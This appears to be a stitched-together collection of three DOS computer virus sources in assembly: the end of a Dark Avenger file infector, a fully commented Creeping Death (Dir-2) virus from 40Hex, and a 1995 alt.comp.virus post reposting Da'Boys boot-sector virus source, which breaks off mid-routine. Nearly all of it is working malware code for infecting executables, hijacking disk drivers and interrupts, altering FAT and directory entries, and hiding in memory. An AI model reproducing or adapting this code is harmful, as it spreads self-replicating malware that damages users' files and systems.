pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
;contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
+563
View File
@@ -0,0 +1,563 @@
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
; I love it. It is my life. I worship the drive it
; infects. Take a look at it. Let not my troubles be
; in vain. Why did I do this? I sacrifice my life for
; the benefit of 40Hex. If you don't read this, I'm
; gonna go join [NuKE].
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
dir_2 segment byte public
assume cs:dir_2, ds:dir_2
org 100h
start:
mov sp,600h ; Set up the stack pointer
inc word ptr counter ; Generation counter
xor cx,cx
mov ds,cx ; DS points to interrupt table
lds ax, ds:[0c1h] ; Find interrupt 30h
add ax,21h ; Change it to Int 21h
push ds ; Save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; Get DOS version
call jump
cmp al,4 ; DOS 4.X+ : SI = 0
sbb si,si ; DOS 2/3 : SI = -1
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
; "never accessed"
mov bx,60h ; Adjust memory in ES to
mov ah,4ah ; BX paragraphs.
call jump
mov ah,52h ; Get DOS List of Lists
call jump ; to ES:BX
push es:[bx-2] ; Save Segment of first MCB
lds bx,es:[bx] ; DS:BX -> 1st DPB
; (Drive parameter block)
search: mov ax,[bx+si+15h] ; Get segment of device driver
cmp ax,70h ; Is it CONFIG? (I think)
jne next ; If not, try again
xchg ax,cx ; Move driver segment to CX
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
mov di,[bx+si+13h] ; Save offset of device driver
; Original device driver
; address in CX:DI
mov [bx+si+13h],offset header ; Replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; Get next device block
cmp bx,-1 ; Is it the last one?
jne search ; If not, search it
jcxz install
pop ds ; Restore segment of first
mov ax,ds ; MCB
add ax,ds:[3] ; Go to next MCB
inc ax ; AX = segment next MCB
mov dx,cs ; DX = MCB owning current
dec dx ; program
cmp ax,dx ; Are these the same?
jne no_boot ; If not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; Increase length owned by
; MCB by 1552 bytes
no_boot: mov ds,dx ; DS = MCB owning current
; program
mov word ptr ds:[1],8 ; Set owner = DOS
mov ds,cx ; DS = segment of original
; device driver
les ax,[di+6] ; ES = offset int handler
; AX = offset strategy entry
mov word ptr cs:str_block,ax ; Save entry point
mov word ptr cs:int_block,es ; And int block for use in
; function _in
cld ; Scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; Wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; Save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; This is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw
mov dx,0c000h ; Scan for hard disk ROM
; Start search @ segment C000h
fdsk1: mov ds,dx ; Load up the segment
xor si,si ; atart at offset 0000h
lodsw ; Scan for the signature
cmp ax,0aa55h ; Is it the signature?
jne fdsk4 ; If not, change segment
cbw ; clear AH
lodsb ; load a byte to AL
mov cl,9
sal ax,cl ; Shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; Save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr
install: int 20h
file: db "c:",255,0
fdsk3: inc si ; Increment search offset
cmp si,ax ; If we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; Increment search segment
cmp dh,0f0h ; If we are not in high
jb fdsk1 ; memory, try again
sub sp,4 ; effectively push dummy vars.
death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; Get environment from PSP
mov es,bx
mov ah,49h ; Release it (to save memory)
call jump
xor ax,ax
test bx,bx ; Is BX = 0?
jz boot ; If so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; Search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; SI points to filename
jmp short exec ; (in DOS 3.X+)
; Execute that file
boot: mov es,ds:[16h] ; get PSP of parent
mov bx,es:[16h] ; get PSP of parent
dec bx ; go to its MCB
xor si,si
exec: push bx
mov bx,offset param ; Set up parameter block
; for EXEC function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st FCB
mov [bx+12],cs ; segment to 2nd FCB
pop ds
push cs
pop es
mov di,offset f_name
push di ; Save filename offset
mov cx,40 ; Copy the filename to
rep movsw ; the buffer
push cs
pop ds
mov ah,3dh ; Handle open file
mov dx,offset file ; "c:ÿ",0
call jump
pop dx ; DS:DX -> filename
mov ax,4b00h ; Load and Execute
call jump ; ES:BX = param block
mov ah,4dh ; Get errorlevel
call jump
mov ah,4ch ; Terminate
jump: pushf ; Simulate an interrupt 21h
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3 ; Write AL sectors from ES:BX
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
; head DH, drive DL
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es ; Move segment of parameter
pop ds ; block to DS
mov al,[bx+2] ; [bx+2] holds command code
cmp al,4 ; Input (read)
je input
cmp al,8 ; Output (write)
je output
cmp al,9 ; Output (write) with verify
je output
call in_ ; Call original device
cmp al,2 ; Request build BPB
jne ppp ; If none of the above, exit
lds si,[bx+12h] ; DS:SI point to BPB table
mov di,offset bpb_buf ; Replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; BPB table
push es ; Save segment of parameters
push cs
pop es
mov cx,16 ; Copy the old BPB table to
rep movsw ; our own
pop es ; Restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; AL = sectors per allocation
cmp al,2 ; unit. If less than
adc al,0 ; 2, increment
cbw ; Extend sign to AH (clear AH)
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
je m32 ; If so, big partition (>32MB)
sub [di+8-32],ax ; Decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; Exit
m32: sub [di+15h-32],ax ; Handle large partitions
sbb word ptr [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; We are outta here!
output: mov cx,0ff09h
call check ; is it a new disk?
jz inf_sec ; If not, go away
call in_ ; Call original device handler
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16 ; Restore the stack
jmp short ppp ; Leave device driver
input: call check ; Is it a new disk?
jz read ; If not, leave
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
cld
lea si,[bx+0eh] ; Load from buffer address
mov cx,8 ; Save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; Starting sector number = 1
; (Read 1st FAT)
call driver ; Read one sector
jnz read_ ; If error, exit
mov byte ptr [bx+2],2 ; Otherwise build BPB
call in_ ; Have original driver do the
; work
lds si,[bx+12h] ; DS:SI points to BPB table
mov ax,[si+6] ; Number root directory entries
add ax,15 ; Round up
mov cl,4
shr ax,cl ; Divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; DI = sectors/FAT
add di,di ; Double for 2 FATs
stc ; Add one for boot record
adc di,ax ; Add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; Clear DX
mov ax,[si+8] ; AX = total sectors
test ax,ax ; If it is zero, then we have
jnz more ; an extended partition(>32MB)
mov ax,[si+15h] ; Load DX:AX with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; Calculate FAT entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; CL = sectors/cluster
div cx ; AX = cluster #
cmp cl,2 ; If there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; Save cluster number
call convert ; AX = sector number to read
; DX = offset in sector AX
; of FAT entry
; DI = mask for EOF marker
mov byte ptr es:[bx+2],4 ; INPUT (read)
mov es:[bx+14h],ax ; Starting sector = AX
call driver ; One sector only
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
add si,dx ; Go to FAT entry
sub dh,cl ; Calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; Change the encryption value
cmp cl,1 ; If there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; Load AX with offset of FAT
; entry
and ax,di ; Mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; Tried to replicate on a bad
dec ax ; cluster. Try again on a
push ax ; lower one.
call convert ; Find where it is in the FAT
jmp short again ; and try once more
small_: not di ; Reverse mask bits
and [si],di ; Clear other bits
pop ax ; AX = cluster number
push ax
inc ax ; Need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; Multiply by 16
mul dx
here: or [si],ax ; Set cluster to next
pop ax ; Restore cluster of write
call convert ; Calculate buffer offset
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; DI = mask from "convert"
dec dx
and dx,di ; Yerg!
not di
and [si],di
or [si],dx ; Set [si] to DI
cmp ax,dx ; Did we change the FAT?
pop ax ; i.e. Are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; Our own starting cluster
je _read_ ; If we didn't infect, then
; leave the routine. Oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; Update the FAT
pop si
pop ds
jnz _read_ ; Quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; Multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; Byte/sector count
mov [bx+14h],ax ; Starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; Flag extended partition
mov [bx+1ah],ax ; Handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; Transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; Zopy ourselves!
; (We want to travel)
_read_: std
lea di,[bx+1ch] ; Restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; Call original device handler
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; Bytes/Sector
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
sal di,cl ; Multiply by 512
; DI = byte count
xor cl,cl
add di,si ; Go to address in the buffer
xor dl,dl ; Flag for an infection in
; function find
push ds
push si
call find ; Infect the directory
jcxz no_inf
call write ; Write it back to the disk
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; Flag for a decryption in
; function find
call find ; Return right information to
; calling program
jmp ppp
;--------Subroutines
find: mov ax,[si+8] ; Check filename extension
cmp ax,"XE" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048B ; Check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; If none of these, check DX
jnz rest ; If not 0, decrypt
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
cmp ax,[si+1ah] ; Check for same starting
; cluster number as us
je go_on ; If it is, then try another
xchg ax,[si+1ah] ; Otherwise make it point to
; us.
gad: xor ax,1234h ; Encrypt their starting
; cluster
mov [si+14h],ax ; And put it in area reserved
; by DOS for no purpose
loop go_on ; Try another file
rest: xor ax,ax ; Disinfect the file
xchg ax,[si+14h] ; Get starting cluster
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; Change encryption and
add si,32 ; go to next file
cmp di,si ; If it is not past the end of
jne find ; the buffer, then try again
ret ; Otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, XX can change.
; Compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; Save this call's drive
jne changed ; If not the same as last call
; media has changed
push [bx+0eh] ; If it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; Tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; Restore command code
changed: ret ; CF,ZF set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
mov si,70h
mov ds,si ; DS = our segment
modify: mov si,1234h ; Address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; Call original device handler
pop [si+2]
pop [si]
ret
driver: mov word ptr es:[bx+12h],1 ; One sector
in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; CALL FAR PTR
str_block:
dw ?,70h ; address
db 09ah ; CALL FAR PTR
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; Was there an error?
ret
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
jae fat_16 ; 0FF0h = reserved cluster
mov si,3 ; 12 bit FAT
xor word ptr cs:[si+gad-1],si ; Change the encryption value
mul si ; Multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; Mark it EOF (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it EOF (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit FAT
mul si ; Double cluster #
mov di,0ffffh ; Mark it as end of file
cont: mov si,512
div si ; AX = sector number
; (relative to start of FAT)
; DX = offset in sector AX
header: inc ax ; Increment AX to account for
ret ; boot record
counter: dw 0
dw 842h ; Attribute
; Block device
; DOS 3 OPEN/CLOSE removable
; media calls supported
; Generic IOCTL call supported
; Supports 32 bit sectors
dw offset main ; Strategy routine
dw offset rts ; Interrupt routine (rtf)
db 7fh ; Number of subunits supported
; by this driver. Wow, lookit
; it -- it's so large and juicy
; Parameter block format:
; 0 WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
dir_2 ends
end start
+302
View File
@@ -0,0 +1,302 @@
From smtp Fri Mar 24 16:17 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
Date: Fri, 24 Mar 1995 16:21:26 -0500
From: Eric Kilby <ekilby@lynx.dac.neu.edu>
Content-Length: 6924
Content-Type: text
Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
To: joshuaw@pobox.jwu.edu
Subject: (fwd) Re: Da'boys viurs, new?
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
From: yojimbo@crl.com (Douglas Mauldin)
Newsgroups: alt.comp.virus
Subject: Re: Da'boys viurs, new?
Date: 23 Mar 1995 23:25:53 -0800
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
Lines: 276
Message-ID: <3kts61$1a3@crl9.crl.com>
References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
NNTP-Posting-Host: crl9.crl.com
X-Newsreader: TIN [version 1.2 PL2]
;: does anyone know what this virus does? how dangerous is it
;: and how do i remove it from my boot sector if the disk is not
;: a bootable one?
;From THe QUaRaNTiNE archives: Da'Boys Source-
;Enjoy...
cseg segment para public 'code'
da_boys proc near
assume cs:cseg
;-----------------------------------------------------------------------------
.186
TRUE equ 001h
FALSE equ 000h
;-----------------------------------------------------------------------------
;option bytes used
COM4_OFF equ TRUE ; 3 bytes
DA_BOYS_TEXT equ TRUE ; 6 bytes
;-----------------------------------------------------------------------------
ADDR_MUL equ 004h
BIOS_INT_13 equ 0c6h
BOOT_INT equ 019h
BOOT_OFFSET equ 07c00h
COM4_OFFSET equ 00406h
COM_OFFSET equ 00100h
DISK_INT equ 013h
DOS_GET_INT equ 03500h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
FIRST_SECTOR equ 00001h
INITIAL_BX equ 00078h
LOW_CODE equ 0021dh
NEW_INT_13_LOOP equ 0cdh
READ_A_SECTOR equ 00201h
RETURN_NEAR equ 0c3h
SECTOR_SIZE equ 00200h
TERMINATE_W_ERR equ 04c00h
TWO_BYTES equ 002h
VIRGIN_INT_13_B equ 007b4h
WRITE_A_SECTOR equ 00301h
;-----------------------------------------------------------------------------
io_seg segment at 00070h
org 00000h
io_sys_loads_at label word
io_seg ends
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h
org 09315h
original_int_13 label word
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET
com_code:
;-----------------------------------------------------------------------------
dropper proc near
xor ax,ax
mov ds,ax
lds dx,dword ptr ds:[VIRGIN_INT_13_B]
mov ax,DOS_SET_INT+BIOS_INT_13
int DOS_INT
mov dx,offset interrupt_13+LOW_CODE-offset old_jz
xor ax,ax
mov ds,ax
mov ax,DOS_SET_INT+DISK_INT
int DOS_INT
mov di,LOW_CODE
mov si,offset old_jz
push ds
pop es
call move_to_boot
mov ax,READ_A_SECTOR
mov cx,FIRST_SECTOR
mov dx,00180h
mov bx,offset buffer
push cs
pop es
int DISK_INT
already_set: mov ax,TERMINATE_W_ERR
int DOS_INT
dropper endp
;-----------------------------------------------------------------------------
org 00048h+COM_OFFSET
call initialize
;-----------------------------------------------------------------------------
org 000ebh+COM_OFFSET
old_jz: jz old_code
;-----------------------------------------------------------------------------
org 00edh+COM_OFFSET
;-----------------------------------------------------------------------------
error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET
xor ax,ax
move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1
pushf
cld
rep movs byte ptr es:[di],cs:[si]
popf
ret
;-----------------------------------------------------------------------------
old_code: mov ax,word ptr ds:[bx+01ah]
dec ax
dec ax
mov di,BOOT_OFFSET+049h
mov bl,byte ptr ds:[di-03ch]
xor bh,bh
mul bx
add ax,word ptr ds:[di]
adc dx,word ptr ds:[di+002h]
mov bx,00700h
mov cl,003h
old_loop: pusha
call more_old_code
popa
jc error
add ax,0001h
adc dx,00h
add bx,word ptr ds:[di-03eh]
loop old_loop
mov ch,byte ptr ds:[di-034h]
mov dl,byte ptr ds:[di-025h]
mov bx,word ptr ds:[di]
mov ax,word ptr ds:[di+002h]
jmp far ptr io_sys_loads_at
;-----------------------------------------------------------------------------
initialize: mov bx,INITIAL_BX
mov di,LOW_CODE
push ss
pop ds
jmp short set_interrupts
;-----------------------------------------------------------------------------
error_will_jmp: mov bx,BOOT_OFFSET
IF DA_BOYS_TEXT
db 'DA',027h,'BOYS'
ELSE
push bx
ENDIF
mov ax,00100h
mov dx,08000h
load_from_disk: mov cx,ax
mov ax,READ_A_SECTOR
xchg ch,cl
xchg dh,dl
int DISK_INT
ret
;-----------------------------------------------------------------------------
org 00160h+COM_OFFSET
;-----------------------------------------------------------------------------
more_old_code: mov si,BOOT_OFFSET+018h
cmp dx,word ptr ds:[si]
jnb stc_return
div word ptr ds:[si]
inc dl
mov ch,dl
xor dx,dx
IF COM4_OFF
mov word ptr ds:[COM4_OFFSET],dx
ENDIF
div word ptr ds:[si+002h]
mov dh,byte ptr ds:[si+00ch]
shl ah,006h
or ah,ch
jmp short load_from_disk
stc_return: stc
ret
;-----------------------------------------------------------------------------
org 0181h+COM_OFFSET
ret
;-----------------------------------------------------------------------------
restart_it: int BOOT_INT
;-----------------------------------------------------------------------------
set_interrupts: cmp word ptr ds:[di],ax
jne is_resident
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
mov ax,offset interrupt_13+LOW_CODE-offset old_jz
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
is_resident: jmp move_to_low
;-----------------------------------------------------------------------------
interrupt_13 proc far
cmp ah,high(READ_A_SECTOR)
jne jmp_old_int_13
